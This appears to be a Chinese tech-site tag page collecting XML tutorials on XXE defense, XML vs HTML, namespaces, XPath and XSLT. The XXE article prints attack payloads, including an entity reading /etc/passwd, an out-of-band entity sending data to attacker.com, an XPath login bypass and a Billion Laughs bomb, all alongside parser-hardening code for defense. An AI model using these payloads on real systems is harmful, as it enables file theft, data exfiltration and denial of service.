标签

XML

XML(可扩展标记语言,Extensible Markup Language)是一种标记语言,用于存储和传输数据。它被设计为简洁、通用、易于扩展,广泛应用于数据交换、配置文件、文档存储等领域。

XML
查看更多相关内容
计算机基础5月28日 03:50
XXE 攻击原理与防护:从 XML 注入到实战防御XML 解析器天生就会处理 DTD 中的外部实体引用——这个设计初衷是为了方便模块化文档管理,却被攻击者利用来读取服务器文件、发起内网请求,甚至执行代码。这就是 XXE(XML External Entity)攻击的核心原理。 2025 年 6 月,Apache Tika 爆出 CVE-2025-66516(CVSS 8.4),攻击者通过上传恶意 PDF 文件触发 XXE,读取服务器敏感文件——这说明 XXE 不是历史遗留问题,至今仍有新的攻击面被挖掘出来。 ## XXE 攻击是怎么发生的 XML 规范允许在 DTD(文档类型定义)中声明实体,其中 `SYSTEM` 类型的实体会让解析器去访问指定的 URI: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> ``` 解析器在处理 `&xxe;` 时,会读取 `/etc/passwd` 的内容并替换进去。如果应用把解析结果返回给用户,敏感文件内容就泄露了。 哪怕应用不回显解析结果,攻击者依然可以通过外带(OOB)方式获取数据: ```xml <!DOCTYPE data [ <!ENTITY xxe SYSTEM "http://attacker.com/collect?data=SECRET"> ]> ``` 或者利用盲 XXE 通过响应时间差异来推断信息。 ## 哪些场景容易中招 不是只有"接收 XML 参数的 API"才需要担心。以下场景都可能成为 XXE 的入口: - **SOAP Web Service**:SOAP 消息本身就是 XML,如果后端没有安全配置解析器,直接沦陷 - **文件上传功能**:SVG 图片、DOCX/PPTX 文档、XLSX 表格底层都是 XML 格式,上传恶意文件就可能触发 XXE - **SSO/SAML**:SAML 断言是 XML 格式,身份认证流程中的 XXE 可能导致认证绕过 - **RSS/Atom 订阅**:聚合外部 RSS 源时,恶意 RSS 中的 XML 实体可能被解析 ## 三种 XML 注入攻击类型 ### XXE(XML 外部实体注入) 最常见、危害最大。上面已经展示了攻击方式。核心危害包括: - 读取服务器任意文件(`file://` 协议) - 发起 SSRF 攻击(`http://` 协议探测内网) - 拒绝服务(Billion Laughs 攻击,通过实体嵌套指数级膨胀 XML 体积) - 在特定环境下远程代码执行(如 PHP expect 协议) ### XML 标签注入 攻击者通过注入 XML 标签修改文档结构,篡改业务逻辑: ```xml <!-- 正常请求 --> <user><name>John</name></user> <!-- 注入后:给自己加了个 admin 角色 --> <user><name>John</name><role>admin</role></user> ``` 这类攻击的关键是应用直接把用户输入拼接到 XML 文档中,没有做转义或结构校验。 ### XPath 注入 类似 SQL 注入的思路,针对 XPath 查询: ```xml // 正常查询 //user[username='john' and password='secret'] // 注入后:绕过密码验证 //user[username='john' or '1'='1' and password='anything'] ``` ## 防护方案 ### 1. 禁用 DTD 和外部实体(最关键) 这是防护 XXE 的根本措施。不同语言的配置方式不同: **Java:** ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); ``` `disallow-doctype-decl` 设为 `true` 会直接拒绝包含 DTD 的 XML,这是最严格的防护。如果业务必须使用 DTD,至少要禁用外部实体(后面三个 `false`)。 **Python(lxml):** ```python from lxml import etree parser = etree.XMLParser(resolve_entities=False, load_dtd=False, no_network=True) tree = etree.parse("data.xml", parser=parser) ``` `no_network=True` 阻止解析器发起网络请求,切断 SSRF 攻击面。 **PHP(8.0+):** ```php // PHP 8.0 起 libxml_disable_entity_loader() 已废弃 // 正确做法:使用 LIBXML_NOENT 标志配合内部实体处理 $dom = new DOMDocument(); $dom->loadXML($xmlString, LIBXML_NONET); ``` `LIBXML_NONET` 禁止网络访问,替代了已废弃的 `libxml_disable_entity_loader()`。 **.NET:** ```csharp XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; // 禁止 DTD settings.XmlResolver = null; // 禁止解析外部实体 XmlReader reader = XmlReader.Create(stream, settings); ``` ### 2. 输入验证 在解析之前,先检查 XML 中是否包含危险结构: ```java public boolean isSafeXML(String xml) { String upper = xml.toUpperCase(); return !upper.contains("<!DOCTYPE") && !upper.contains("<!ENTITY"); } ``` 注意:输入验证是辅助手段,不能替代解析器安全配置。攻击者可能通过编码、注释等方式绕过字符串检测。 ### 3. 使用 JSON 替代 XML 如果业务允许,直接用 JSON 代替 XML 作为数据交换格式。JSON 不支持实体和 DTD,从根本上消除了 XXE 风险。对于 REST API 来说,这通常是最简单的解决方案。 ### 4. XPath 注入防护:参数化查询 和 SQL 注入用参数化查询一样,XPath 也支持变量绑定: ```java XPathFactory factory = XPathFactory.newInstance(); XPath xpath = factory.newXPath(); xpath.setXPathVariableResolver(varName -> { switch (varName) { case "username": return username; case "password": return password; default: return null; } }); XPathExpression expr = xpath.compile("//user[username=$username and password=$password]"); ``` ### 5. XML Schema 验证 用 XSD 约束 XML 文档的结构,拒绝不符合预期的输入: ```java SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = sf.newSchema(new File("schema.xsd")); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setSchema(schema); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); ``` Schema 验证既防标签注入,也限制了 XML 的结构和内容。 ### 6. 最小权限运行 即使 XXE 攻击成功,如果应用进程没有读取敏感文件的权限,攻击者也只能拿到低权限数据。容器化部署、只读文件系统、网络策略限制外联,都是纵深防御的一环。 ## Billion Laughs 攻击:一种特殊的拒绝服务 这种攻击利用实体嵌套让 XML 体积指数级膨胀: ```xml <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <root>&lol4;</root> ``` `&lol4;` 展开后约 10 亿个 `lol`,轻松耗尽内存。防护方式同样是禁用 DTD——上面提到的解析器配置已经覆盖了这个场景。 ## 检测和排查 - **Burp Suite**:拦截请求,手动注入 XXE payload 测试 - **OWASP ZAP**:自动化扫描 XXE 漏洞 - **SonarQube**:静态代码分析,检测不安全的 XML 解析配置 - **XXEinjector**:专门针对 XXE 的自动化检测工具,支持 OOB 和 Blind XXE 在 CI/CD 流程中集成 SAST 工具扫描 XML 解析相关代码,可以在部署前就发现风险配置。
计算机基础5月28日 03:49
XML 和 HTML 有什么区别?XML 和 HTML 都是标记语言,但定位完全不同:HTML 是用来显示网页内容的,标签全预定义;XML 是用来存储和传输数据的,标签可以自己定义。面试中抓住"设计目的""标签定义""语法严格性"三个核心差异展开就够。 **一段代码看清区别**: ```html <!-- HTML:预定义标签,关注显示 --> <h1>用户信息</h1> <p>姓名:张三</p> <!-- XML:自定义标签,关注数据结构 --> <user> <name>张三</name> <age>28</age> </user> ``` 同样的"用户信息",HTML 关心怎么在页面上展示,XML 关心数据本身的含义和层级关系。这个根本分歧决定了两者在语法、结构、应用场景上的所有差异。 ## 追问 ### XML 和 HTML 的语法严格性有什么具体区别? XML 严格得多,根本原因在于两者的容错需求不同。HTML 要容错——网页打不开用户就直接走了,所以浏览器会尽可能猜测意图并渲染。XML 传数据——格式错了数据就不可信了,所以解析器遇到错误直接报停。具体规则对比: | 规则 | XML | HTML | |------|-----|------| | 标签关闭 | 必须关闭,自闭合写 `<br/>` | `<p>` `<br>` 可不关 | | 大小写 | 区分,`<Name>` ≠ `<name>` | 不区分 | | 属性引号 | 必须加 | 有时可省 | | 根元素 | 有且仅有一个 | 允许多个(不推荐)| | 嵌套 | 必须严格正确嵌套 | 允许部分错误嵌套 | 面试时说出"容错需求不同导致语法严格性不同"这个根本原因,比单纯背规则更体现理解深度。 ### DTD 和 XML Schema 是什么?有什么区别? 两者都约束 XML 文档结构——哪些标签能出现、顺序如何、数据类型是什么。DTD 是早期方案,语法简单但功能有限:不支持数据类型定义(只能区分 PCDATA 和 CDATA)、不支持命名空间、用的不是 XML 语法本身。XML Schema(XSD)更强大:支持 string/integer/date 等丰富数据类型、命名空间避免标签冲突、正则约束,而且 XSD 本身就是 XML 格式写的,可以用 XML 工具链处理。实际项目优先用 XSD,DTD 基本只在维护遗留系统时遇到。 ### 实际项目里 XML 还常用吗? Web 开发中 XML 的使用确实在下降,但远没到淘汰的程度:Spring 的 bean 配置、Maven 的 pom.xml、Android 的布局文件和 AndroidManifest.xml、SVG 矢量图、Office 文档格式(.docx/.xlsx 本质是 ZIP 包裹的 XML)——这些你日常都在用。新项目的数据接口基本都改用 JSON 了,但 XML 在配置文件和文档格式领域仍有不可替代的位置。安全方面有个高频考点:XXE 漏洞(XML 外部实体注入)——攻击者通过 `<!ENTITY xxe SYSTEM "file:///etc/passwd">` 读取服务器文件,防护方式是解析器禁用外部实体。 ### XML 和 JSON 相比各有什么优劣? JSON 轻量、解析快、和 JavaScript 天然亲和,是 Web API 主流。XML 的优势在于:属性和嵌套两种信息表达方式(`<user id="1"><name>张三</name></user>` 里 id 是属性、name 是子元素,JSON 没有这种区分)、成熟的 schema 验证(XSD)、命名空间避免标签冲突(SOAP 消息里 `<soap:Body>` 和 `<wsa:Action>` 共存)、注释和元数据更丰富。需要严格验证和复杂结构选 XML,追求轻量和速度选 JSON。一个实用判断:配置文件和文档格式选 XML,API 数据交换选 JSON。
计算机基础5月28日 03:48
什么是 XML 命名空间,如何声明和使用它?当两个不同的 XML 词汇表使用相同的元素名时,解析器无法区分它们——这就是命名冲突。XML 命名空间(Namespace)正是为解决这个问题而设计的机制,它通过为元素和属性绑定一个全局唯一的 URI 标识符,让同名元素可以和平共处。 ## 为什么需要命名空间 假设一份文档同时引用了两个 XML 词汇表,两者都定义了 `<table>` 元素:一个表示表格数据,另一个表示家具。没有命名空间时,解析器无法判断 `<table>` 到底指哪个。命名空间通过在元素前加前缀并绑定唯一 URI 来消除歧义。 需要注意的是,命名空间 URI 仅作为唯一标识符使用,解析器不会去访问这个地址。URI 选择 URL 格式只是惯例,并非强制——任何合法的 URI 都可以,包括 URN。 ## 命名空间的声明语法 命名空间使用 `xmlns` 属性声明,有两种形式: ```xml <!-- 带前缀的命名空间 --> <root xmlns:prefix="namespaceURI"> <prefix:element>内容</prefix:element> </root> <!-- 默认命名空间 --> <root xmlns="namespaceURI"> <element>内容</element> </root> ``` 关键规则: - `xmlns` 是保留属性名,专门用于命名空间声明 - 前缀是自定义的简短别名,遵循 XML 名称命名规则 - 以 `xml`(任何大小写组合)开头的前缀被保留,不能自定义 - URI 必须用引号包裹,通常使用 URL 格式 ## 默认命名空间 vs 带前缀的命名空间 | 特性 | 默认命名空间 | 带前缀的命名空间 | |------|------------|----------------| | 声明方式 | `xmlns="URI"` | `xmlns:prefix="URI"` | | 适用范围 | 未加前缀的元素 | 使用该前缀的元素和属性 | | 是否适用于属性 | 不适用 | 适用 | | 典型场景 | 文档中只有一种词汇表 | 文档混合多种词汇表 | 一个重要区别:**默认命名空间不适用于属性**。未加前缀的属性永远属于无命名空间,即使所在元素有默认命名空间。如果属性需要属于某个命名空间,必须使用带前缀的声明。 ```xml <book xmlns="http://example.com/books" xmlns:dc="http://purl.org/dc/elements/1.1/"> <!-- title 元素属于 http://example.com/books --> <!-- dc:title 属性属于 http://purl.org/dc/elements/1.1/ --> <title dc:title="主标题">XML 入门</title> </book> ``` ## 命名空间的作用域 命名空间声明在声明它的元素及其所有后代元素中有效,遵循以下规则: 1. **继承**:子元素自动继承祖先元素的命名空间声明 2. **覆盖**:子元素可以重新声明同名前缀,新的绑定在子元素范围内生效 3. **无命名空间**:如果元素没有前缀且没有默认命名空间,它属于"无命名空间" ```xml <root xmlns:a="http://example.com/a"> <a:child> <!-- a 前缀仍然绑定 http://example.com/a --> <a:grandchild xmlns:a="http://example.com/b"> <!-- 这里 a 前缀重新绑定到 http://example.com/b --> </a:grandchild> </a:child> </root> ``` ## 命名空间在实际协议中的应用 ### SOAP 消息 SOAP 协议是命名空间应用的典型场景,一条 SOAP 消息同时使用 SOAP 信封命名空间和业务数据命名空间: ```xml <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:m="http://www.example.com/stock"> <soap:Header> <m:Authentication> <m:Username>user</m:Username> <m:Password>pass</m:Password> </m:Authentication> </soap:Header> <soap:Body> <m:GetStockPrice> <m:StockSymbol>IBM</m:StockSymbol> </m:GetStockPrice> </soap:Body> </soap:Envelope> ``` `soap` 前缀标识协议层元素,`m` 前缀标识业务数据元素,两者互不干扰。 ### XML Schema(XSD) XSD 本身大量使用命名空间,`xs` 或 `xsd` 前缀是 XSD 元素的通用约定: ```xml <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="book" type="xs:string"/> </xs:schema> ``` 在 XSD 验证中,命名空间决定了类型定义和元素声明的归属。目标命名空间(targetNamespace)指定了该 Schema 定义的所有组件属于哪个命名空间。 ## 常见错误与陷阱 1. **前缀声明但未使用**:声明了 `xmlns:foo` 却从未使用 `foo:` 前缀,虽然不会报错,但说明声明是多余的 2. **默认命名空间不覆盖属性**:这是最常见的误解,未加前缀的属性不属于默认命名空间 3. **URI 相等性**:命名空间比较是字符串精确匹配,`http://example.com` 和 `http://example.com/` 是两个不同的命名空间 4. **在根元素上声明所有命名空间**:虽然合法,但只在需要时声明可以让文档更清晰 5. **混用不同前缀绑定同一 URI**:合法但容易混淆,同一文档中应保持前缀一致 ## 最佳实践 - 使用公司域名的 URL 格式作为 URI,确保全球唯一 - 前缀选择简短且有意义,如 `xs` 表示 XML Schema,`xhtml` 表示 XHTML - 在文档的根元素集中声明所有需要的命名空间,方便维护 - 同一文档中对同一命名空间始终使用相同前缀 - 只在确实存在命名冲突风险时才引入命名空间,避免不必要的复杂性 ## 追问 **Q: 命名空间 URI 是否必须是一个可访问的 URL?** 不是。URI 仅作为标识符,解析器不会尝试访问它。使用 URL 格式只是行业惯例,因为它天然具备全局唯一性。实际开发中,这个地址可能根本不存在。 **Q: 默认命名空间和没有命名空间有什么区别?** 有默认命名空间的元素属于该命名空间;没有前缀且没有默认命名空间的元素属于"无命名空间"。这是两个不同的状态——属于某个命名空间和不属于任何命名空间在 XSD 验证中表现完全不同。
计算机基础5月28日 03:48
XPath 是什么?XML 数据查询从入门到实战XPath 是 XML 世界里的"查询语言"——你有一堆结构化的 XML 数据,想从中精确提取某个节点的值、过滤满足条件的元素、或者统计某个属性出现的次数,XPath 就是干这个的。几乎所有需要处理 XML 的场景都会用到它:Java 解析配置文件、Python 爬虫提取网页数据、XSLT 转换文档格式,底层都依赖 XPath 定位节点。 如果把 XML 文档比作一栋大楼,那 XPath 就是楼里的导航系统——告诉你"3 楼东侧第二个房间"在哪,而不是让你挨个门去找。 ## XPath 把 XML 看成一棵树 拿到一份 XML 文档后,XPath 要做的第一件事是把它当成一棵"节点树"。每种 XML 组成部分对应一种节点类型: - **元素节点**:XML 中的标签,比如 `<book>` - **属性节点**:标签里的属性,比如 `category="web"` - **文本节点**:标签之间的文字内容 - **文档节点**:整份 XML 的根,也叫根节点 剩下的命名空间节点、处理指令节点、注释节点用得少,知道就行。关键理解一点:XPath 的所有查询操作,本质上都是在"在这棵树上找路"。 ## 路径表达式:XPath 的基本语法 拿一份常见的 XML 举例: ```xml <bookstore> <book category="web"> <title lang="en">XML Guide</title> <author>John Doe</author> <price>39.95</price> </book> <book category="database"> <title lang="en">SQL Basics</title> <author>Jane Smith</author> <price>29.99</price> </book> </bookstore> ``` ### 绝对路径和相对路径 ```xpath /bookstore → 根元素 bookstore /bookstore/book → bookstore 下所有 book 子元素 //book → 文档中任意位置的 book 元素 bookstore//book → bookstore 后代中所有 book 元素 ``` `/` 开头是绝对路径,从根节点出发;`//` 表示"不管在哪一层,只要匹配就选出来",类似文件系统的递归搜索。 **一个性能细节**:`//book` 看起来方便,但它会遍历整棵树,文档大的时候性能开销明显。如果知道节点的大致位置,用 `/bookstore/book` 这种更精确的路径更快。 ### 谓词:加条件过滤 谓词写在方括号 `[]` 里,用来筛选满足特定条件的节点。可以把谓词理解为 SQL 的 WHERE 子句——都是给查询加过滤条件: ```xpath /bookstore/book[1] → 第一个 book /bookstore/book[last()] → 最后一个 book /bookstore/book[position()<3] → 前两个 book //book[@category='web'] → category 属性为 web 的 book //book[price>35] → price 大于 35 的 book ``` 实际开发中大部分 XPath 查询都离不开谓词。一个实用技巧:多个条件可以用 `and`/`or` 组合,比如 `//book[@category='web' and price<40]`。 ### 通配符 ```xpath * → 任何元素节点 @* → 任何属性节点 node() → 任何类型的节点 ``` 用得不多,但在写通用查询时很方便,比如 `//book/*` 取出 book 下所有子元素,不用逐个写子元素名称。 ### 轴:指定搜索方向 轴定义了"从当前节点往哪个方向找"。默认轴是 `child`,所以 `/bookstore/book` 其实是 `/child::bookstore/child::book` 的简写。 常用的轴: ```xpath parent → 父节点(简写 ..) child → 所有子节点(默认,可省略) descendant → 所有后代节点 ancestor → 所有祖先节点 following-sibling → 之后的同级节点 preceding-sibling → 之前的同级节点 self → 自身(简写 .) ``` 完整语法是 `轴名::节点测试`,比如 `ancestor::book` 表示找所有叫 book 的祖先节点。日常开发中 `parent`、`child`、`descendant`、`following-sibling` 这几个占了 90% 的使用场景。 ## 内置函数:让查询更灵活 XPath 内置了一批函数,可以直接在谓词和表达式中调用。 ### 字符串函数——出场率最高 ```xpath contains(title, 'XML') → title 包含 "XML" starts-with(@lang, 'en') → lang 属性以 "en" 开头 substring(price, 1, 4) → 截取 price 的前 4 个字符 normalize-space(text) → 去掉多余空白 string-length(title) → 标题长度 ``` `contains` 是日常开发中出场率最高的函数,做模糊匹配全靠它。一个常见场景:在配置文件里找所有包含特定关键字的节点。 ### 聚合和数值函数 ```xpath count(//book) → 统计 book 元素数量 sum(//book/price) → 所有 price 求和 floor(3.7) → 3(向下取整) ceiling(3.2) → 4(向上取整) round(3.5) → 4(四舍五入) ``` ### 布尔函数 ```xpath not(@category='web') → category 不是 web boolean(//book) → 是否存在 book 元素(判空用) ``` `boolean()` 配合 `not()` 可以判断"某个节点是否存在",在做数据校验时很有用。 ## 在各语言中实际使用 XPath ### Java ```java XPathFactory factory = XPathFactory.newInstance(); XPath xpath = factory.newXPath(); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); Document doc = dbf.newDocumentBuilder().parse(new File("books.xml")); // 查询单个值 String title = xpath.evaluate("//book[@category='web']/title/text()", doc); // 查询节点列表 NodeList books = (NodeList) xpath.evaluate("//book", doc, XPathConstants.NODESET); for (int i = 0; i < books.getLength(); i++) { Element book = (Element) books.item(i); System.out.println(book.getAttribute("category")); } ``` **踩坑提醒**:Java 默认的 XPath 实现是串行执行的,大文件查询会很慢。如果性能敏感,考虑换用 Saxon-HE 等第三方实现。另外,`DocumentBuilderFactory.newInstance()` 默认不启用命名空间支持,需要 `dbf.setNamespaceAware(true)` 才能用命名空间相关的 XPath 查询。 ### Python(lxml 库) ```python from lxml import etree tree = etree.parse("books.xml") # 提取文本 titles = tree.xpath("//book[@category='web']/title/text()") # 提取属性 categories = tree.xpath("//book/@category") # 用函数做统计 total = sum(tree.xpath("//book/price/text()")) ``` Python 爬虫中 lxml + XPath 是黄金组合,比 BeautifulSoup 的 CSS 选择器更灵活——尤其是处理不规则的 HTML 结构,XPath 的 `contains()` 和轴查询能解决很多 CSS 选择器搞不定的问题。 ### JavaScript(浏览器环境) ```javascript const parser = new DOMParser(); const xmlDoc = parser.parseFromString(xmlString, "text/xml"); const result = xmlDoc.evaluate( "//book[@category='web']/title", xmlDoc, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null ); for (let i = 0; i < result.snapshotLength; i++) { console.log(result.snapshotItem(i).textContent); } ``` 浏览器环境下的 `document.evaluate` 可以直接对 HTML DOM 执行 XPath 查询,不限于 XML 文档。做自动化测试或油猴脚本时很实用。 ## XPath 和 XQuery 的关系 XQuery 基于 XPath 构建,但能力更强: - **XPath**:定位和选择节点,是"找东西"的工具 - **XQuery**:不仅能找,还能构造新的 XML 结构、做 FLWOR 查询(类似 SQL 的 for-let-where-order-return) 如果只是从 XML 里提取数据,XPath 够用。如果需要查询后重新组织输出格式,才需要 XQuery。 ## 常见坑和最佳实践 ### 命名空间陷阱——新手第一大坑 XML 声明了命名空间后,直接用 `/root/child` 可能查不到节点。比如: ```xml <root xmlns="http://example.com/ns"> <child>hello</child> </root> ``` 此时 `//child` 返回空,因为 `child` 已经属于一个命名空间了。必须在代码中注册命名空间前缀,然后用前缀查询: ```python # Python lxml 示例 tree.xpath("//ns:child/text()", namespaces={"ns": "http://example.com/ns"}) ``` 这是 XPath 新手最常遇到的"明明节点在,就是查不到"的问题。 ### `//` 的性能问题 前面说过,`//` 会遍历全树。几百 KB 的文档无所谓,几十 MB 的文档就会明显卡顿。能写精确路径就别用 `//`,尤其是循环里反复执行 XPath 的时候。 ### 文本节点的空白陷阱 XML 中的换行和缩进会被解析为文本节点,`//text()` 可能返回一大堆空白字符串。用 `normalize-space()` 过滤,或者直接用 `/text()` 取特定层级的文本。 ### XPath 1.0 vs 2.0/3.0 大多数语言内置的是 XPath 1.0,不支持 for 循环、条件表达式(if-then-else)、正则匹配等 2.0+ 特性。需要高级功能时: - Java → 用 Saxon 替换默认实现 - Python → lxml 的扩展函数,或换用 `xml.etree.ElementTree` 的有限 XPath 支持 - C# → .NET 3.5+ 支持 XPath 1.0,更高级需要第三方库 ### 特殊字符转义 路径中包含单引号或双引号时,需要用 `concat()` 拼接,比如 `//book[title=concat("He said '", "'", "s book")]`。XPath 1.0 没有原生的转义语法,这是它的一个设计缺陷。XPath 2.0+ 支持双引号内转义单引号,但 1.0 环境下只能用 `concat()` 绕路。 ### 查询结果缓存 如果同一条 XPath 会被反复执行(比如在循环里),考虑编译一次、重复执行: ```java // Java 编译 XPath 表达式 XPathExpression expr = xpath.compile("//book[@category='web']"); NodeList result = (NodeList) expr.evaluate(doc, XPathConstants.NODESET); ``` 编译一次比每次都 `evaluate()` 快得多,尤其是复杂表达式。
计算机基础5月28日 03:47
XSLT 是什么?XML 转换的模板匹配机制详解XSLT 经常被误解为"XML 的 CSS"——其实它更像一门函数式编程语言。你写一系列模板规则,XSLT 处理器拿着这些规则去匹配 XML 节点,匹配上了就输出对应内容。理解这个模型,比背语法重要得多。 ## XSLT 处理模型:模板驱动的递归匹配 XSLT 的核心不是"写一个程序去遍历 XML",而是"告诉处理器遇到什么节点就输出什么"。处理器从根节点开始,按模板优先级逐级匹配,遇到 `apply-templates` 就递归处理子节点。 这个过程有几个关键规则: - **匹配优先级**:更具体的匹配规则优先。`match="bookstore/book"` 比 `match="*"` 优先级高 - **内置模板**:如果你没写匹配某节点的模板,XSLT 有默认行为——继续递归处理子节点,文本节点直接输出内容。这就是为什么你只写了部分模板,其他内容也会"冒出来" - **一次匹配**:一个节点只会被优先级最高的模板处理一次 ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- 匹配根节点,输出 HTML 框架 --> <xsl:template match="/"> <html> <body> <xsl:apply-templates select="bookstore/book"/> </body> </html> </xsl:template> <!-- 匹配每本书,输出一行 --> <xsl:template match="book"> <p><xsl:value-of select="title"/> - <xsl:value-of select="author"/></p> </xsl:template> </xsl:stylesheet> ``` `apply-templates` 和 `for-each` 都能遍历节点,但区别很重要:`apply-templates` 把控制权交给模板匹配机制,天然支持递归和模块化;`for-each` 是命令式的,所有逻辑都写在一个块里。简单遍历用 `for-each` 没问题,但一旦逻辑复杂,模板匹配更好维护。 ## XPath:XSLT 的导航语言 XSLT 离不开 XPath。你在 `select` 属性里写的表达式就是 XPath,它决定了"从 XML 里取什么数据"。 几个高频用法: | XPath 表达式 | 含义 | |---|---| | `/bookstore/book` | 从根节点选取所有 book | | `//book` | 任意层级的 book 节点 | | `book[@category='web']` | category 属性为 web 的 book | | `book[position() > 1]` | 第二本书开始(下标从 1 计) | | `count(//book)` | book 节点数量 | 一个容易踩的坑:`//book` 看起来方便,但它在整个文档树中搜索,大数据量下性能很差。能写绝对路径 `/bookstore/book` 就不要用 `//`。 ## 条件判断和循环 ### if 和 choose XSLT 1.0 没有 `else`,只有 `xsl:if`。需要多分支判断时用 `choose/when/otherwise`: ```xml <xsl:template match="book"> <div> <xsl:choose> <xsl:when test="price &gt; 30"> <xsl:attribute name="class">expensive</xsl:attribute> </xsl:when> <xsl:when test="price &gt; 20"> <xsl:attribute name="class">moderate</xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:attribute name="class">cheap</xsl:attribute> </xsl:otherwise> </xsl:choose> <xsl:value-of select="title"/> - $<xsl:value-of select="price"/> </div> </xsl:template> ``` 注意 XML 里的比较运算符要用转义:`>` 写成 `&gt;`,`<` 写成 `&lt;`。初学者经常在这卡住。 ### for-each 和排序 ```xml <xsl:for-each select="bookstore/book"> <xsl:sort select="price" order="ascending" data-type="number"/> <p><xsl:value-of select="title"/> - $<xsl:value-of select="price"/></p> </xsl:for-each> ``` `sort` 必须紧跟在 `for-each` 或 `apply-templates` 后面,放在其他位置会被忽略——而且不会报错。 ## 变量和参数 ### 变量(不可变) XSLT 的变量一旦赋值就不能修改,这是函数式编程的特征: ```xml <xsl:variable name="maxPrice" select="100"/> <xsl:variable name="bookCount" select="count(//book)"/> ``` 想实现"累加计数"?不能靠修改变量,得用递归模板或者 `sum()` 等 XPath 聚合函数。这是从命令式语言转过来的开发者最容易不适应的地方。 ### 参数(模板间传值) ```xml <!-- 定义带参数的命名模板 --> <xsl:template name="formatPrice"> <xsl:param name="price"/> <xsl:param name="currency" select="'$'"/> <xsl:value-of select="concat($currency, format-number($price, '#,##0.00'))"/> </xsl:template> <!-- 调用 --> <xsl:call-template name="formatPrice"> <xsl:with-param name="price" select="price"/> <xsl:with-param name="currency" select="'€'"/> </xsl:call-template> ``` ## 模板模式:同一节点不同输出 同一个 XML 节点,你可能在不同位置需要不同的输出形式。`mode` 属性解决这个需求: ```xml <!-- 简略模式:只显示标题 --> <xsl:template match="book" mode="summary"> <li><xsl:value-of select="title"/></li> </xsl:template> <!-- 详细模式:显示全部信息 --> <xsl:template match="book" mode="detail"> <div class="book-detail"> <h3><xsl:value-of select="title"/></h3> <p>Author: <xsl:value-of select="author"/></p> <p>Price: $<xsl:value-of select="price"/></p> </div> </xsl:template> <!-- 按需调用 --> <ul><xsl:apply-templates select="book" mode="summary"/></ul> <div><xsl:apply-templates select="book" mode="detail"/></div> ``` ## key:XSLT 的"索引" 用 `xsl:key` 可以实现类似数据库索引的效果,最常用于分组(XSLT 1.0 没有 `group-by`,得用 Muenchian 分组法): ```xml <!-- 定义按 author 分组的 key --> <xsl:key name="books-by-author" match="book" use="author"/> <!-- 取出每个 author 的第一本书(去重) --> <xsl:for-each select="bookstore/book[count(. | key('books-by-author', author)[1]) = 1]"> <h2><xsl:value-of select="author"/></h2> <ul> <xsl:for-each select="key('books-by-author', author)"> <li><xsl:value-of select="title"/></li> </xsl:for-each> </ul> </xsl:for-each> ``` Muenchian 分组的写法确实反直觉。如果你可以用 XSLT 2.0+,直接用 `xsl:for-each-group` 就行,省掉这些弯弯绕绕。 ## 在不同语言中执行 XSLT 转换 ### Java ```java TransformerFactory factory = TransformerFactory.newInstance(); Transformer transformer = factory.newTransformer( new StreamSource(new File("transform.xsl"))); transformer.transform( new StreamSource(new File("data.xml")), new StreamResult(new File("output.html"))); ``` 注意 `TransformerFactory.newInstance()` 会按特定顺序查找实现,如果 classpath 里有 Saxon 等第三方实现,可能拿到的不是 JDK 内置的 Xalan。生产环境建议显式指定: ```java TransformerFactory factory = TransformerFactory.newInstance( "net.sf.saxon.TransformerFactoryImpl", null); ``` ### Python(lxml) ```python from lxml import etree xml_doc = etree.parse("data.xml") xslt_doc = etree.parse("transform.xsl") transform = etree.XSLT(xslt_doc) result = transform(xml_doc) ``` lxml 的 XSLT 只支持 1.0。需要 2.0/3.0 特性的话,得用 `saxonc` 库调用 Saxon-HE。 ### 浏览器端 浏览器曾经原生支持 XSLT(`XSLTProcessor`),但现在已经不推荐在前端做转换了——性能差、调试难、XSLT 1.0 功能有限。现代做法是在构建阶段或服务端完成转换。 ## XSLT 1.0 vs 2.0 vs 3.0 | 特性 | 1.0 | 2.0 | 3.0 | |---|---|---|---| | 分组 | Muenchian 分组(复杂) | `for-each-group` | `for-each-group` | | 正则 | 不支持 | `xsl:analyze-string` | `xsl:analyze-string` | | 函数定义 | 不支持 | `xsl:function` | `xsl:function` | | 多输出 | 不支持 | `xsl:result-document` | `xsl:result-document` | | 包机制 | 不支持 | 不支持 | `xsl:use-package` | | try/catch | 不支持 | 不支持 | `xsl:try` | XSLT 1.0 是浏览器唯一支持的版本。服务端处理建议至少用 2.0,分组和函数定义这两个特性就能省掉大量代码。 ## 实战踩坑 **字符编码问题**:转换输出中文乱码,通常是因为没有指定 `xsl:output` 的 `encoding` 属性,或者输出文件的编码和声明不一致。加上 `<xsl:output method="html" encoding="UTF-8"/>` 基本能解决。 **命名空间冲突**:源 XML 带了默认命名空间(如 `xmlns="http://example.com"`),你写的模板死活匹配不上。XSLT 里命名空间必须显式匹配,不能用空命名空间去匹配有命名空间的节点。解决方法是给命名空间加前缀:`xpath-default-amespace="http://example.com"`(2.0+),或者在 1.0 